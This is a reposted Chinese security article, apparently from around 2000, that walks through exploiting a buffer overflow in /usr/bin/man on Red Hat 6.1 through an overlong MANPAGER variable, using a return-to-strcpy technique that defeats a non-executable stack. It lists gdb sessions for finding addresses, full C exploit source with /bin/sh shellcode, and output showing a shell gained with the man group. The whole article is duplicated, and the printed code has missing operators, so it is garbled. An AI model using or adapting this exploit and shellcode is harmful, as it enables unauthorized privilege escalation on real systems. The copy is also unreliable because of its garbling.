缓冲区溢出分析
互联网 发布时间:2008-10-08 19:35:35 作者:佚名 我要评论
1. 简介
我在 http://www.hack.co.za/ 上看到 Lam3rZ 小组的 Kil3r 写的一个针对
redhat 6.1 (and others) /usr/bin/man exploit,下载回来后,直接编译运行,并
没有完成攻击。注意到原exploit是针对不可执行堆栈环境编写的,而我测试的主机
没有打不可执
1. 简介
我在 http://www.hack.co.za/ 上看到 Lam3rZ 小组的 Kil3r 写的一个针对
redhat 6.1 (and others) /usr/bin/man exploit,下载回来后,直接编译运行,并
没有完成攻击。注意到原exploit是针对不可执行堆栈环境编写的,而我测试的主机
没有打不可执行堆栈补丁等等。其实针对不可执行堆栈环境的缓冲区溢出技术同样可
以用于"常规"环境,所以就此次攻击做一完整描述,抛砖引玉,见笑。
2. 问题描述
/usr/bin/man 会使用 MANPAGER 环境变量,关于这个变量的细节请 man man 查看。
当 MANPAGER 变量设置成超长字符串时,会导致 /usr/bin/man 执行中缓冲区溢出。
[scz@ /home/scz/src]> export MANPAGER=`perl -e 'print "A"x1'`
[scz@ /home/scz/src]> man ls
sh: A: command not found
Error executing formatting or display command.
System command (cd /usr/man ; (echo -e ".ll 9.9i\n.pl 1100i";
/bin/cat /usr/man/man1/ls.1; echo ".pl \n(nlu 10") | /usr/bin/gtbl |
/usr/bin/groff -Tlatin1 -mandoc | A) exited with status 127.
No manual entry for ls ^
[scz@ /home/scz/src]> |
|
------<------ 注意这里就是 MANPAGER 变量
注意到命令最后通过管道符'|'传递给了 MANPAGER 变量所指定的程序。
我们重复类似的操作,不断加大 MANPAGER 变量的长度,直到发生溢出。用"二分法"
较快地确定出当长度最小为 3945 时,缓冲区溢出并导致段错误。
[scz@ /home/scz/src]> export MANPAGER=`perl -e 'print "A"x3945'`
[scz@ /home/scz/src]> man ls
sh: A...A: command not found
Error executing formatting or display command.
System command (cd /usr/man ; (echo -e ".ll 9.9i\n.pl 1100i";
/bin/cat /usr/man/man1/ls.1; echo ".pl \n(nlu 10") | /usr/bin/gtbl |
/usr/bin/groff -Tlatin1 -mandoc | A...A) exited with status 127.
Segmentation fault <-- -- -- 这里已经出现段错误,通常是指针操作访问非法地
[scz@ /home/scz/src]> 址造成,很可能某个函数的返回地址已经被覆盖掉
[scz@ /home/scz/src]> unset MANPAGER <-- -- -- 这里删除该环境变量恢复正常
3. 攻击思路
姑且假设 /usr/bin/man 执行过程中读取 MANPAGER 变量到一个缓冲区中,由于未做
边界检查导致溢出,并覆盖了某个函数的返回地址。显然,覆盖值来自 MANPAGER 变
量的值,换句话说,用于覆盖的返回地址来自 MANPAGER 变量的值。
在"常规"环境下,理论上可以直接通过 MANPAGER 变量传递用于覆盖的返回地址以及
shellcode本身,因为3945大小的缓冲区已经足以做任何事情,也可以仅仅通过
MANPAGER 变量传递用于覆盖的返回地址,利用其他自定义环境变量传递shellcode。
在不可执行堆栈环境下,上述两种传递shellcode的办法都因为shellcode位于堆栈高
区,无法覆盖返回地址指向我们的shellcode。请参看tt在绿盟网络安全月刊第8期中
的<< 绕过Linux不可执行堆栈保护方法浅析 >>,具体的技术原理不再赘述。
Lam3rZ 小组的 Kil3r 所编写的exploit code采用的技术是,用于覆盖的返回地址指
向 strcpy() 函数的 PLT 入口(过程链接表入口),同时在堆栈中利用 MANPAGER 变
量的缓冲区溢出,伪造一个发生常规 strcpy() 函数调用时所需要的假栈帧。
shellcode采用自定义环境变量的技术传递进入堆栈高区,因为使用了 execle() 函
数调用,该shellcode在 /usr/bin/man 进程地址空间中的位置相对固定,很容易猜
测调整。当返回地址被成功覆盖后,程序流程随着问题函数的返回而转向一个
strcpy() 函数调用,strcpy() 函数调用会将shellcode从 /usr/bin/man 进程的环
境变量区(堆栈高区)拷贝到另外一个区域,这个区域要求在不可执行堆栈环境下依旧
可写可执行,该区域必须在 /usr/bin/man 进程的地址空间内。显然,这个区域的地
址需要提前猜测确定,因为该区域的地址作为 strcpy() 函数调用的目标地址,必须
在伪造假栈帧时提供,后面我们会介绍猜测确定该区域地址的技术手段。
至于 strcpy() 函数调用完成,我们的shellcode已经进入可执行区域,流程又是如
何转向我们自己的shellcode,请参看tt在绿盟网络安全月刊第8期中的
<< 绕过Linux不可执行堆栈保护方法浅析 >>,内有图示,我看得头都快白了,总算
理解,chat* sigh。
从上面的攻击思路分析中完全可以看出,Lam3rZ 小组的 Kil3r 的攻击手段适用范围
要广些,所以我们先采用这种技术完成一次攻击。
4. 攻击第一步,猜测确定几个关键地址
(1) 确定 /usr/bin/man 中 strcpy() 函数的 PLT 入口
[scz@ /home/scz/src]> gdb /usr/bin/man
GNU gdb 4.18
This GDB was configured as "i386-redhat-linux"...
(gdb) p strcpy
$1 = {<text variable, no debug info>} 0x80490e4 <strcpy>
(gdb) q ^
[scz@ /home/scz/src]> |
|
#define STRCPYPLT 0x080490e4 ------>------
因为缓冲区溢出发生在 /usr/bin/man 进程地址空间中,我们需要确定的 strcpy()
函数的 PLT 入口也应该是 /usr/bin/man 中 strcpy() 函数的 PLT 入口。该入口
和 /usr/bin/man 文件二进制映像有关,对于某个确定的elf格式的程序文件,该
入口相对固定。
(2) 猜测确定一个在不可执行堆栈环境下 /usr/bin/man 进程空间中可写可执行的区
域地址
[scz@ /home/scz/src]> man ls
Ctrl-Z <-- -- -- 输入 Ctrl-Z 挂起 man ls
[scz@ /home/scz/src]> jobs
[1] Stopped man ls
[scz@ /home/scz/src]> ps -ef | grep man
scz 2377 1860 0 12:03 pts/2 00:00:00 man ls
[scz@ /home/scz/src]> cat /proc/2377/maps
08050000-08051000 rw-p 00007000 03:06 36427 /usr/bin/man
[scz@ /home/scz/src]> fg %1
q <-- -- -- 退出 man ls
[scz@ /home/scz/src]>
这个区域显示的是可读写,并没有可执行,但实际是可执行的。我们挑选一个处在4
字节对齐边界上的地址,将来shellcode最终被拷贝到该地址并在该地址上开始执行。
#define SHELLCODETARGET 0x0805010c
注意,这里的 SHELLCODETARGET 需要出现在 MANPAGER 环境变量中,所以不得出现
零值。我当时挑选了 0x08050100 ,结果总是不能正确溢出,后来才想起这个毛病所
在。
我们可以不通过 /proc/<pid>/maps 文件查找满足条件的区域地址,而直接使用
strcpy() 函数的 GOT 入口(全局偏移表入口)地址。
[scz@ /home/scz/src]> gdb /usr/bin/man
GNU gdb 4.18
This GDB was configured as "i386-redhat-linux"...
(gdb) disas strcpy
0x80490e4 <strcpy> : jmp *0x8050cac
0x80490ea <strcpy 6> : push $0x1d8 <-- -- -- 动态链接器使用
0x80490ef <strcpy 11>: jmp 0x8048d24
(gdb) x/1wx 0x8050cac <-- -- -- 全局偏移表中 strcpy 入口地址
0x8050cac <_IO_stdin_used 11176>: 0x080490ea
(gdb) q
[scz@ /home/scz/src]>
#define STRCPYPLT 0x080490e4
#define STRCPYGOT 0x08050cac
#define SHELLCODETARGET STRCPYGOT
显然 STRCPYGOT 符合可写可执行区域的条件。可能你担心直接使用 STRCPYGOT 作为
目标地址,会影响到 strcpy() 函数本身的执行过程。仔细研读上面汇编代码,使用
STRCPYGOT 的时候还没有发生字符串拷贝,换句话说,发生字符串拷贝的时候已经无
所谓 STRCPYGOT 处是什么内容了,反正我们的shellcode是不会使用 strcpy() 函数
的。要是还不放心,就不要直接使用 STRCPYGOT 作为目标地址,而使用 STRCPYGOT
4 作为目标地址,只是不知道全局偏移表中 strcpy 入口地址的下一个又是什么函
数的入口地址,反正都无所谓。
(3) 猜测确定位于 /usr/bin/man 进程环境变量区的shellcode地址
下面的讨论基于一个假设,你已经明白elf文件的内存布局。我们需要通过环境变量
传递shellcode进入 /usr/bin/man 的进程空间,strcpy() 使用这里的shellcode作
为拷贝源。猜测确定拷贝源地址是必须的。
#define VULPROGRAM "/usr/bin/man"
#define SHELLCODESOURCE ( 0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) )
这里唯一需要注意的是 sizeof( VULPROGRAM ) 包括了结尾的'\0'。如果担心不够精
确,可以在shellcode的前部增加 NOP 指令。
上面的技术适用于i386/Linux平台,对于SPARC/Solaris平台这样相对复杂的情况,
还可以采用辅助程序观察execle()之后的内存布局,我们在条目6中介绍。
(4) 猜测确定问题缓冲区溢出点
实际上攻击从问题描述就已经开始了,发现问题的同时就开始了攻击过程,问题缓冲
区溢出点显然可以从 3945 9 = 3954 附近考虑。但是,不知道什么缘故,居然无
法得到core文件,也就无法深入调试,最后只好参看 Kil3r 的exploit code,发现
他使用的溢出点在4067,因为没有core文件,无法确定发生了什么,为什么3954已经
开始溢出,但真正有效溢出点却在4067,中间相差这么多字节,没有core的日子真难
过。
#define VULPOINT 4067
5. 编写针对不可执行堆栈环境的溢出攻击程序
/*
* File : ex_man.c for redhat 6.1 /usr/bin/man
* Author : Kil3r of Lam3rZ
* Rewriten : scz < mailto: scz@isbase.com >
* Complie : gcc -o ex_man ex_man.c
* Usage : ./ex_man
* Date : 2000-05-16
*/
#include <stdio.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
/* 一段标准的linux/i386下的shellcode */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define STRCPYPLT 0x080490e4
#define STRCPYGOT 0x08050cac
#define RETADDRESS STRCPYPLT /* 用于覆盖的返回地址 */
#define SHELLCODETARGET STRCPYGOT
#define SHELLCODESOURCE ( 0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) )
#define VULPROGRAM "/usr/bin/man"
#define VULPOINT 4067
#define SAFEPADLEN 24
#define PAD 'A'
#define SUCCESS 0
#define FAILURE -1
int main ( int argc, char * argv[] )
{
char * vulbuf;
char * env[3];
u_long * pointer;
u_long vulPoint = VULPOINT;
u_long vulBufSize = VULPOINT SAFEPADLEN;
fprintf( stderr, "Usage: %s [ vulPoint ]\n", argv[0] );
if ( argc > 1 )
{
vulPoint = strtoul( argv[1], NULL, 10 );
vulBufSize = vulPoint SAFEPADLEN;
}
vulbuf = ( char * )malloc( ( size_t )( vulBufSize ) );
if ( vulbuf == 0 )
{
fprintf( stderr, "Can't allocate memory %lu bytes\n", vulBufSize );
exit( FAILURE );
}
fprintf( stderr, "vulPoint = %lu\n", vulPoint );
memset( vulbuf, PAD, vulBufSize );
vulbuf[ vulBufSize - 1 ] = '\0';
pointer = ( u_long * )( vulbuf vulPoint );
*pointer = RETADDRESS;
*pointer = SHELLCODETARGET;
*pointer = SHELLCODETARGET;
*pointer = SHELLCODESOURCE;
memcpy( vulbuf, "MANPAGER=", 9 );
env[0] = vulbuf;
env[1] = shellcode;
env[2] = NULL;
execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env );
free( vulbuf );
return( SUCCESS );
} /* end of main */
[scz@ /home/scz/src]> cat > ex_man.c
[scz@ /home/scz/src]> gcc -o ex_man ex_man.c
[scz@ /home/scz/src]> ./ex_man
Usage: ./ex_man [ vulPoint ]
vulPoint = 4067
bash$ id
uid=505(scz) gid=100(users) egid=15(man) groups=100(users)
bash$ exit ^
exit |
[scz@ /home/scz/src]> |
溢出成功 ------>------
我在 http://www.hack.co.za/ 上看到 Lam3rZ 小组的 Kil3r 写的一个针对
redhat 6.1 (and others) /usr/bin/man exploit,下载回来后,直接编译运行,并
没有完成攻击。注意到原exploit是针对不可执行堆栈环境编写的,而我测试的主机
没有打不可执行堆栈补丁等等。其实针对不可执行堆栈环境的缓冲区溢出技术同样可
以用于"常规"环境,所以就此次攻击做一完整描述,抛砖引玉,见笑。
2. 问题描述
/usr/bin/man 会使用 MANPAGER 环境变量,关于这个变量的细节请 man man 查看。
当 MANPAGER 变量设置成超长字符串时,会导致 /usr/bin/man 执行中缓冲区溢出。
[scz@ /home/scz/src]> export MANPAGER=`perl -e 'print "A"x1'`
[scz@ /home/scz/src]> man ls
sh: A: command not found
Error executing formatting or display command.
System command (cd /usr/man ; (echo -e ".ll 9.9i\n.pl 1100i";
/bin/cat /usr/man/man1/ls.1; echo ".pl \n(nlu 10") | /usr/bin/gtbl |
/usr/bin/groff -Tlatin1 -mandoc | A) exited with status 127.
No manual entry for ls ^
[scz@ /home/scz/src]> |
|
------<------ 注意这里就是 MANPAGER 变量
注意到命令最后通过管道符'|'传递给了 MANPAGER 变量所指定的程序。
我们重复类似的操作,不断加大 MANPAGER 变量的长度,直到发生溢出。用"二分法"
较快地确定出当长度最小为 3945 时,缓冲区溢出并导致段错误。
[scz@ /home/scz/src]> export MANPAGER=`perl -e 'print "A"x3945'`
[scz@ /home/scz/src]> man ls
sh: A...A: command not found
Error executing formatting or display command.
System command (cd /usr/man ; (echo -e ".ll 9.9i\n.pl 1100i";
/bin/cat /usr/man/man1/ls.1; echo ".pl \n(nlu 10") | /usr/bin/gtbl |
/usr/bin/groff -Tlatin1 -mandoc | A...A) exited with status 127.
Segmentation fault <-- -- -- 这里已经出现段错误,通常是指针操作访问非法地
[scz@ /home/scz/src]> 址造成,很可能某个函数的返回地址已经被覆盖掉
[scz@ /home/scz/src]> unset MANPAGER <-- -- -- 这里删除该环境变量恢复正常
3. 攻击思路
姑且假设 /usr/bin/man 执行过程中读取 MANPAGER 变量到一个缓冲区中,由于未做
边界检查导致溢出,并覆盖了某个函数的返回地址。显然,覆盖值来自 MANPAGER 变
量的值,换句话说,用于覆盖的返回地址来自 MANPAGER 变量的值。
在"常规"环境下,理论上可以直接通过 MANPAGER 变量传递用于覆盖的返回地址以及
shellcode本身,因为3945大小的缓冲区已经足以做任何事情,也可以仅仅通过
MANPAGER 变量传递用于覆盖的返回地址,利用其他自定义环境变量传递shellcode。
在不可执行堆栈环境下,上述两种传递shellcode的办法都因为shellcode位于堆栈高
区,无法覆盖返回地址指向我们的shellcode。请参看tt在绿盟网络安全月刊第8期中
的<< 绕过Linux不可执行堆栈保护方法浅析 >>,具体的技术原理不再赘述。
Lam3rZ 小组的 Kil3r 所编写的exploit code采用的技术是,用于覆盖的返回地址指
向 strcpy() 函数的 PLT 入口(过程链接表入口),同时在堆栈中利用 MANPAGER 变
量的缓冲区溢出,伪造一个发生常规 strcpy() 函数调用时所需要的假栈帧。
shellcode采用自定义环境变量的技术传递进入堆栈高区,因为使用了 execle() 函
数调用,该shellcode在 /usr/bin/man 进程地址空间中的位置相对固定,很容易猜
测调整。当返回地址被成功覆盖后,程序流程随着问题函数的返回而转向一个
strcpy() 函数调用,strcpy() 函数调用会将shellcode从 /usr/bin/man 进程的环
境变量区(堆栈高区)拷贝到另外一个区域,这个区域要求在不可执行堆栈环境下依旧
可写可执行,该区域必须在 /usr/bin/man 进程的地址空间内。显然,这个区域的地
址需要提前猜测确定,因为该区域的地址作为 strcpy() 函数调用的目标地址,必须
在伪造假栈帧时提供,后面我们会介绍猜测确定该区域地址的技术手段。
至于 strcpy() 函数调用完成,我们的shellcode已经进入可执行区域,流程又是如
何转向我们自己的shellcode,请参看tt在绿盟网络安全月刊第8期中的
<< 绕过Linux不可执行堆栈保护方法浅析 >>,内有图示,我看得头都快白了,总算
理解,chat* sigh。
从上面的攻击思路分析中完全可以看出,Lam3rZ 小组的 Kil3r 的攻击手段适用范围
要广些,所以我们先采用这种技术完成一次攻击。
4. 攻击第一步,猜测确定几个关键地址
(1) 确定 /usr/bin/man 中 strcpy() 函数的 PLT 入口
[scz@ /home/scz/src]> gdb /usr/bin/man
GNU gdb 4.18
This GDB was configured as "i386-redhat-linux"...
(gdb) p strcpy
$1 = {<text variable, no debug info>} 0x80490e4 <strcpy>
(gdb) q ^
[scz@ /home/scz/src]> |
|
#define STRCPYPLT 0x080490e4 ------>------
因为缓冲区溢出发生在 /usr/bin/man 进程地址空间中,我们需要确定的 strcpy()
函数的 PLT 入口也应该是 /usr/bin/man 中 strcpy() 函数的 PLT 入口。该入口
和 /usr/bin/man 文件二进制映像有关,对于某个确定的elf格式的程序文件,该
入口相对固定。
(2) 猜测确定一个在不可执行堆栈环境下 /usr/bin/man 进程空间中可写可执行的区
域地址
[scz@ /home/scz/src]> man ls
Ctrl-Z <-- -- -- 输入 Ctrl-Z 挂起 man ls
[scz@ /home/scz/src]> jobs
[1] Stopped man ls
[scz@ /home/scz/src]> ps -ef | grep man
scz 2377 1860 0 12:03 pts/2 00:00:00 man ls
[scz@ /home/scz/src]> cat /proc/2377/maps
08050000-08051000 rw-p 00007000 03:06 36427 /usr/bin/man
[scz@ /home/scz/src]> fg %1
q <-- -- -- 退出 man ls
[scz@ /home/scz/src]>
这个区域显示的是可读写,并没有可执行,但实际是可执行的。我们挑选一个处在4
字节对齐边界上的地址,将来shellcode最终被拷贝到该地址并在该地址上开始执行。
#define SHELLCODETARGET 0x0805010c
注意,这里的 SHELLCODETARGET 需要出现在 MANPAGER 环境变量中,所以不得出现
零值。我当时挑选了 0x08050100 ,结果总是不能正确溢出,后来才想起这个毛病所
在。
我们可以不通过 /proc/<pid>/maps 文件查找满足条件的区域地址,而直接使用
strcpy() 函数的 GOT 入口(全局偏移表入口)地址。
[scz@ /home/scz/src]> gdb /usr/bin/man
GNU gdb 4.18
This GDB was configured as "i386-redhat-linux"...
(gdb) disas strcpy
0x80490e4 <strcpy> : jmp *0x8050cac
0x80490ea <strcpy 6> : push $0x1d8 <-- -- -- 动态链接器使用
0x80490ef <strcpy 11>: jmp 0x8048d24
(gdb) x/1wx 0x8050cac <-- -- -- 全局偏移表中 strcpy 入口地址
0x8050cac <_IO_stdin_used 11176>: 0x080490ea
(gdb) q
[scz@ /home/scz/src]>
#define STRCPYPLT 0x080490e4
#define STRCPYGOT 0x08050cac
#define SHELLCODETARGET STRCPYGOT
显然 STRCPYGOT 符合可写可执行区域的条件。可能你担心直接使用 STRCPYGOT 作为
目标地址,会影响到 strcpy() 函数本身的执行过程。仔细研读上面汇编代码,使用
STRCPYGOT 的时候还没有发生字符串拷贝,换句话说,发生字符串拷贝的时候已经无
所谓 STRCPYGOT 处是什么内容了,反正我们的shellcode是不会使用 strcpy() 函数
的。要是还不放心,就不要直接使用 STRCPYGOT 作为目标地址,而使用 STRCPYGOT
4 作为目标地址,只是不知道全局偏移表中 strcpy 入口地址的下一个又是什么函
数的入口地址,反正都无所谓。
(3) 猜测确定位于 /usr/bin/man 进程环境变量区的shellcode地址
下面的讨论基于一个假设,你已经明白elf文件的内存布局。我们需要通过环境变量
传递shellcode进入 /usr/bin/man 的进程空间,strcpy() 使用这里的shellcode作
为拷贝源。猜测确定拷贝源地址是必须的。
#define VULPROGRAM "/usr/bin/man"
#define SHELLCODESOURCE ( 0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) )
这里唯一需要注意的是 sizeof( VULPROGRAM ) 包括了结尾的'\0'。如果担心不够精
确,可以在shellcode的前部增加 NOP 指令。
上面的技术适用于i386/Linux平台,对于SPARC/Solaris平台这样相对复杂的情况,
还可以采用辅助程序观察execle()之后的内存布局,我们在条目6中介绍。
(4) 猜测确定问题缓冲区溢出点
实际上攻击从问题描述就已经开始了,发现问题的同时就开始了攻击过程,问题缓冲
区溢出点显然可以从 3945 9 = 3954 附近考虑。但是,不知道什么缘故,居然无
法得到core文件,也就无法深入调试,最后只好参看 Kil3r 的exploit code,发现
他使用的溢出点在4067,因为没有core文件,无法确定发生了什么,为什么3954已经
开始溢出,但真正有效溢出点却在4067,中间相差这么多字节,没有core的日子真难
过。
#define VULPOINT 4067
5. 编写针对不可执行堆栈环境的溢出攻击程序
/*
* File : ex_man.c for redhat 6.1 /usr/bin/man
* Author : Kil3r of Lam3rZ
* Rewriten : scz < mailto: scz@isbase.com >
* Complie : gcc -o ex_man ex_man.c
* Usage : ./ex_man
* Date : 2000-05-16
*/
#include <stdio.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
/* 一段标准的linux/i386下的shellcode */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define STRCPYPLT 0x080490e4
#define STRCPYGOT 0x08050cac
#define RETADDRESS STRCPYPLT /* 用于覆盖的返回地址 */
#define SHELLCODETARGET STRCPYGOT
#define SHELLCODESOURCE ( 0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) )
#define VULPROGRAM "/usr/bin/man"
#define VULPOINT 4067
#define SAFEPADLEN 24
#define PAD 'A'
#define SUCCESS 0
#define FAILURE -1
int main ( int argc, char * argv[] )
{
char * vulbuf;
char * env[3];
u_long * pointer;
u_long vulPoint = VULPOINT;
u_long vulBufSize = VULPOINT SAFEPADLEN;
fprintf( stderr, "Usage: %s [ vulPoint ]\n", argv[0] );
if ( argc > 1 )
{
vulPoint = strtoul( argv[1], NULL, 10 );
vulBufSize = vulPoint SAFEPADLEN;
}
vulbuf = ( char * )malloc( ( size_t )( vulBufSize ) );
if ( vulbuf == 0 )
{
fprintf( stderr, "Can't allocate memory %lu bytes\n", vulBufSize );
exit( FAILURE );
}
fprintf( stderr, "vulPoint = %lu\n", vulPoint );
memset( vulbuf, PAD, vulBufSize );
vulbuf[ vulBufSize - 1 ] = '\0';
pointer = ( u_long * )( vulbuf vulPoint );
*pointer = RETADDRESS;
*pointer = SHELLCODETARGET;
*pointer = SHELLCODETARGET;
*pointer = SHELLCODESOURCE;
memcpy( vulbuf, "MANPAGER=", 9 );
env[0] = vulbuf;
env[1] = shellcode;
env[2] = NULL;
execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env );
free( vulbuf );
return( SUCCESS );
} /* end of main */
[scz@ /home/scz/src]> cat > ex_man.c
[scz@ /home/scz/src]> gcc -o ex_man ex_man.c
[scz@ /home/scz/src]> ./ex_man
Usage: ./ex_man [ vulPoint ]
vulPoint = 4067
bash$ id
uid=505(scz) gid=100(users) egid=15(man) groups=100(users)
bash$ exit ^
exit |
[scz@ /home/scz/src]> |
溢出成功 ------>------
相关文章
- CC主要是用来攻击页面的,大家都有这样的经历,就是在访问论坛时,如果这个论坛比较大,访问的人比较多,打开页面的速度会比较慢,对不?!一般来说,访问的人越多,论坛的页2024-01-06
- 入侵者主要通过Potato程序攻击拥有SYSTEM权限的端口伪造网络身份认证过程,利用NTLM重放机制骗取SYSTEM身份令牌,最终取得系统权限,该安全风险微软并不认为存在漏洞,所以2021-04-15
- 这篇文章主要介绍了文件上传漏洞全面渗透分析小结,这里主要为大家分享一下防御方法,需要的朋友可以参考下2021-03-21
- 这篇文章主要介绍了sql手工注入语句&SQL手工注入大全,需要的朋友可以参考下2017-09-06
- 这篇文章主要介绍了详解Filezilla server 提权,需要的朋友可以参考下2017-05-13
FileZilla Server 2008 x64 提权与防御方法
这篇文章主要介绍了FileZilla Server 2008 x64 提权与防御方法,需要的朋友可以参考下2017-05-13- 不久之前我们说过关于http和https的区别,对于加密的https,我们一直认为它是相对安全的,可今天要讲的是,一种绕过HTTPS加密得到明文信息的web攻击方式,不知道这消息对你2016-08-10
iPhone和Mac也会被黑 一条iMessage密码可能就被盗了
一直以来苹果系统的安全性都是比安卓要高的,但是再安全的系统也免不了漏洞,苹果也一样。最近爆出的新漏洞,只需要接收一条多媒体信息或者iMessage就会导致用户信息泄露。2016-07-27- 国家正在修正关于黑客方面的法律法规,有一条震惊黑客圈的“世纪佳缘”起诉白帽黑客事件,深深的伤害了广大黑客们的心,加上扎克伯格和特拉维斯·卡兰尼克账号被盗,于是黑2016-07-11
如何逆向破解HawkEye keylogger键盘记录器进入攻击者邮箱
面对恶意邮件攻击,我们就只能默默忍受被他攻击,连自我保护能力都没有谈什么反抗?让人痛快的是,如今有了解决办法,逆向破解键盘记录器,进入攻击者邮箱2016-07-06
最新评论